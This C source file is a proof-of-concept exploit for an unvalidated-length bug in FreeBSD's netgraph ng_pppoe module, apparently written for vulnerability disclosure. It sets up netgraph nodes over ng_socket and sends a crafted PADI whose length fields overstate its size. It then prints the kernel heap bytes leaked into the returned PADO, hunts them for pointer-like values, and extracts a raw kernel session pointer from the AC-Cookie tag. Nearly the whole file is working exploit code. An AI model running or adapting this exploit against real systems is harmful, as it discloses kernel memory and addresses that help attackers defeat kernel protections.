/*
 * DF-3491 PoC -- v1 ng_pppoe PRIMED branch: unvalidated ph->length
 *               -> kernel heap OOB read disclosed in the emitted PADO.
 *
 * File:      sys/netgraph/pppoe/ng_pppoe.c  (the LIVE v1 netgraph stack)
 * Distinct from DF-0457 (ethernet-hook discovery path, :925-968) and the
 * ng7 twin DF-3487. This is the THIRD sink: ng_pppoe_rcvdata() session-hook
 * branch, PPPOE_PRIMED state (lines 1297-1359):
 *
 *   m_pullup(sizeof(*wh)) only            (:1304-1309)
 *   length = ntohs(wh->ph.length)          (:1312)   <- NEVER validated
 *                                                   vs m->m_pkthdr.len
 *   get_tag(ph, PTT_SRV_NAME)              (:1340)
 *   get_tag(ph, PTT_HOST_UNIQ)             (:1353)
 *   scan_tags(sp, ph)                      (:1356)
 *   -> make_packet() bcopy's the attacker-shaped SRV tag (tag_len up to
 *      ~1470) into the PADO and sendpacket() emits it to the ethernet hook.
 *
 * Harness: pure userland via ng_socket (root). Three independent rounds,
 * each with a fresh socket node / pppoe node / PRIMED session.
 *   cs (NG_CONTROL)  -- node "srvN"
 *   ds (NG_DATA)     -- attached to node "srvN"
 *   srvN:eN <-> pppoe:ethernet       (NGM_MKPEER)
 *   srvN:sN <-> pppoe:svcN           (NGM_CONNECT, session hook)
 *   NGM_PPPOE_OFFER(svcN)            -> state PPPOE_PRIMED
 *   sendto(ds, 32-byte PADI, "sN")   -> PRIMED branch
 *   recvfrom(ds)                     <- PADO with OOB heap bytes
 *
 * Crafted 32-byte PADI: ph.length=1024, Service-Name tag claims 900 data
 * bytes (8 real). get_tag accepts the tag; make_packet copies 4+900 bytes
 * from a 32-byte packet => 892 bytes read past the mbuf data.
 *
 * DF-3493 (twin of ng7 DF-3489): the PADO's AC-COOKIE tag (on-wire type
 * 0x0104 = PTT_AC_COOKIE) contains the raw sess_con heap pointer -- dumped
 * from the same capture.
 *
 * Build:  cc -O -o ppdprimed ppdprimed.c
 * Run:    ./ppdprimed   (root, after: kldload ng_socket ng_pppoe)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>

#define NG_AF             32      /* AF_NETGRAPH */
#define NG_DATA           1
#define NG_CONTROL        2
#define NG_VERSION        2
#define NGF_RESP          0x0001
#define NGM_GENERIC_COOKIE 851672668UL
#define NGM_MKPEER        2
#define NGM_CONNECT       3
#define NGM_PPPOE_COOKIE  939032003UL
#define NGM_PPPOE_OFFER   4
#define NG_TYPESIZ        32
#define NG_HOOKSIZ        32
#define NG_NODESIZ        32
#define NG_PATHSIZ        512
#define NG_CMDSTRSIZ      32

struct ng_msghdr {
    u_char  version;
    u_char  spare;
    u_int16_t arglen;
    u_int32_t flags;
    u_int32_t token;
    u_int32_t typecookie;
    u_int32_t cmd;
    u_char  cmdstr[NG_CMDSTRSIZ];
};
struct ng_mesg {
    struct ng_msghdr header;
    char data[0];
};
struct sockaddr_ng {
    u_char  sg_len;
    u_char  sg_family;
    char    sg_data[NG_PATHSIZ];
};
struct ngm_mkpeer {
    char    type[NG_TYPESIZ];
    char    ourhook[NG_HOOKSIZ];
    char    peerhook[NG_HOOKSIZ];
};
struct ngm_connect {
    char    path[NG_PATHSIZ];
    char    ourhook[NG_HOOKSIZ];
    char    peerhook[NG_HOOKSIZ];
};
struct ngpppoe_init_data {
    char    hook[NG_HOOKSIZ];
    u_int16_t data_len;
    char    data[0];
};

static int  cs;

static void
mkaddr(struct sockaddr_ng *sa, const char *path)
{
    memset(sa, 0, sizeof(*sa));
    sa->sg_family = NG_AF;
    snprintf(sa->sg_data, sizeof(sa->sg_data), "%s", path);
    sa->sg_len = 2 + strlen(sa->sg_data) + 1;
}

/* send a control message on cs; return 0/-1 (errno in *errp) */
static int
ngctrl(const char *path, u_int32_t cookie, u_int32_t cmd, const char *cmdstr,
       const void *arg, int arglen, int *errp)
{
    struct ng_mesg *m;
    struct sockaddr_ng dst;
    int total = sizeof(*m) + arglen;
    ssize_t n;

    m = calloc(1, total);
    if (m == NULL)
        return (-1);
    m->header.version = NG_VERSION;
    m->header.arglen = arglen;
    m->header.token = 0x1000 + cmd;
    m->header.typecookie = cookie;
    m->header.cmd = cmd;
    if (cmdstr)
        strlcpy((char *)m->header.cmdstr, cmdstr, NG_CMDSTRSIZ);
    if (arglen)
        memcpy(m->data, arg, arglen);
    mkaddr(&dst, path);
    n = sendto(cs, m, total, 0, (struct sockaddr *)&dst, dst.sg_len);
    *errp = errno;
    free(m);
    return (n < 0 ? -1 : 0);
}

static void
hexdump(const u_char *p, int len, const char *tag)
{
    int i, j;

    printf("---- %s (%d bytes) ----\n", tag, len);
    for (i = 0; i < len; i += 16) {
        printf("%04x: ", i);
        for (j = 0; j < 16 && i + j < len; j++)
            printf("%02x ", p[i + j]);
        printf("\n");
    }
}

/* one full round: fresh graph, OFFER, fire PADI, capture PADO */
static int
do_round(int round, int verbose)
{
    struct sockaddr_ng sa;
    struct {
        struct ng_mesg hdr;
        u_char buf[4096];
    } resp;
    struct ngm_mkpeer mk;
    struct ngm_connect con;
    struct ngpppoe_init_data offer[64];
    struct timeval tv;
    char nname[16], ehook[16], shook[16], svchook[16];
    ssize_t n;
    int err;
    u_char padi[32];
    int ds;

    snprintf(nname, sizeof(nname), "srv%d", round);
    snprintf(ehook, sizeof(ehook), "e%d", round);
    snprintf(shook, sizeof(shook), "s%d", round);
    snprintf(svchook, sizeof(svchook), "svc%d", round);

    cs = socket(NG_AF, SOCK_DGRAM, NG_CONTROL);
    if (cs < 0)
        errx(2, "socket(NG_CONTROL): %s", strerror(errno));
    mkaddr(&sa, nname);
    if (bind(cs, (struct sockaddr *)&sa, sa.sg_len) < 0)
        errx(2, "bind(%s): %s", nname, strerror(errno));
    ds = socket(NG_AF, SOCK_DGRAM, NG_DATA);
    if (ds < 0)
        errx(2, "socket(NG_DATA): %s", strerror(errno));
    mkaddr(&sa, nname);
    strlcat(sa.sg_data, ":", sizeof(sa.sg_data)); /* absolute node ref */
    sa.sg_len = 2 + strlen(sa.sg_data) + 1;
    if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0)
        errx(2, "connect(NG_DATA, %s:): %s", nname, strerror(errno));

    memset(&mk, 0, sizeof(mk));
    strlcpy(mk.type, "pppoe", sizeof(mk.type));
    strlcpy(mk.ourhook, ehook, sizeof(mk.ourhook));
    strlcpy(mk.peerhook, "ethernet", sizeof(mk.peerhook));
    if (ngctrl(".:", NGM_GENERIC_COOKIE, NGM_MKPEER, "mkpeer",
               &mk, sizeof(mk), &err) < 0)
        errx(2, "round %d NGM_MKPEER: %s", round, strerror(err));

    memset(&con, 0, sizeof(con));
    strlcpy(con.path, ehook, sizeof(con.path));  /* node behind hook eN */
    strlcpy(con.ourhook, shook, sizeof(con.ourhook));
    strlcpy(con.peerhook, svchook, sizeof(con.peerhook));
    if (ngctrl(".:", NGM_GENERIC_COOKIE, NGM_CONNECT, "connect",
               &con, sizeof(con), &err) < 0)
        errx(2, "round %d NGM_CONNECT: %s", round, strerror(err));

    memset(offer, 0, sizeof(offer));
    strlcpy(offer->hook, svchook, sizeof(offer->hook));
    offer->data_len = 5;
    memcpy(offer->data, "pocAC", 5);
    if (ngctrl(ehook, NGM_PPPOE_COOKIE, NGM_PPPOE_OFFER, "offer",
               offer, sizeof(*offer) + 5, &err) < 0)
        errx(2, "round %d NGM_PPPOE_OFFER: %s", round, strerror(err));

    /* crafted 32-byte PADI */
    memset(padi, 0, sizeof(padi));
    padi[0] = 0xff;                          /* broadcast dst (rest 0) */
    padi[6] = 0x02; padi[11] = 0x01;         /* src 02:00:..:01 */
    padi[12] = 0x88; padi[13] = 0x63;        /* ETHERTYPE_PPPOE_DISC */
    padi[14] = 0x11;                         /* ver=1 type=1 */
    padi[15] = 0x09;                         /* PADI_CODE */
    padi[18] = (1024 >> 8) & 0xff;           /* ph.length = 1024 (!!) */
    padi[19] = 1024 & 0xff;
    padi[20] = 0x01; padi[21] = 0x01;        /* PTT_SRV_NAME */
    padi[22] = (900 >> 8) & 0xff;            /* claims 900 data bytes */
    padi[23] = 900 & 0xff;
    memcpy(padi + 24, "SERVPADI", 8);        /* only 8 REAL tag bytes */

    tv.tv_sec = 3; tv.tv_usec = 0;
    setsockopt(ds, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

    mkaddr(&sa, shook);
    if (sendto(ds, padi, sizeof(padi), 0,
               (struct sockaddr *)&sa, sa.sg_len) < 0) {
        warn("round %d sendto(PADI)", round);
        close(ds);
        return (-1);
    }
    n = recvfrom(ds, &resp, sizeof(resp), 0, NULL, NULL);
    if (n < 0) {
        printf("[!] round %d: recvfrom: %s (no PADO)\n",
               round, strerror(errno));
        close(ds);
        return (-1);
    }
    printf("[+] round %d: PADO received: %zd bytes "
           "(expected 945 = 20 hdr + 9 acname + 904 srv + 12 cookie)\n",
           round, n);

    {
        const u_char *p = (const u_char *)&resp + 20;
        const u_char *end = (const u_char *)&resp + n;

        while (p + 4 <= end) {
            u_int ttype = (p[0] << 8) | p[1];
            u_int tlen = (p[2] << 8) | p[3];
            printf("    tag wire-type=0x%04x len=%u\n", ttype, tlen);
            if (ttype == 0x0101 && tlen == 900) {     /* PTT_SRV_NAME */
                int oob = (24 + (int)tlen) - 32;
                int nz = 0, k;
                for (k = 8; k < (int)tlen; k++)
                    if (p[4 + k])
                        nz++;
                printf("    [DF-3491] Service-Name carries %d bytes read "
                       "OOB past the 32-byte mbuf (%d nonzero)\n", oob, nz);
                {
                    int k2, found = 0;
                    for (k2 = 8; k2 + 8 <= (int)tlen; k2++) {
                        const u_char *q = p + 4 + k2;
                        if ((q[7] == 0xff || q[7] == 0xfe) && q[6] >= 0x80) {
                            if (found++ < 6)
                                printf("      ptr-like @+%d: "
                                       "%02x%02x%02x%02x%02x%02x%02x%02x\n",
                                       k2, q[7],q[6],q[5],q[4],
                                       q[3],q[2],q[1],q[0]);
                        }
                    }
                    printf("      ptr-like sequences found: %d\n", found);
                }
            }
            if (ttype == 0x0104 && tlen == 8) {       /* PTT_AC_COOKIE */
                printf("    [DF-3493] AC-COOKIE = raw kernel sess_con "
                       "pointer 0x%02x%02x%02x%02x%02x%02x%02x%02x\n",
                       p[4+7],p[4+6],p[4+5],p[4+4],
                       p[4+3],p[4+2],p[4+1],p[4+0]);
            }
            p += 4 + tlen;
        }
    }
    if (verbose) {
        printf("\n");
        hexdump((const u_char *)&resp, (int)n, "PADO full dump");
    }
    close(ds);
    close(cs);
    return (0);
}

int
main(void)
{
    int round;

    for (round = 1; round <= 3; round++) {
        printf("[*] round %d: graph srv%d:e%d<->pppoe:ethernet, "
               "srv%d:s%d<->pppoe:svc%d (PRIMED)\n",
               round, round, round, round, round, round);
        do_round(round, round == 1);
        printf("\n");
    }
    printf("[*] done\n");
    return (0);
}
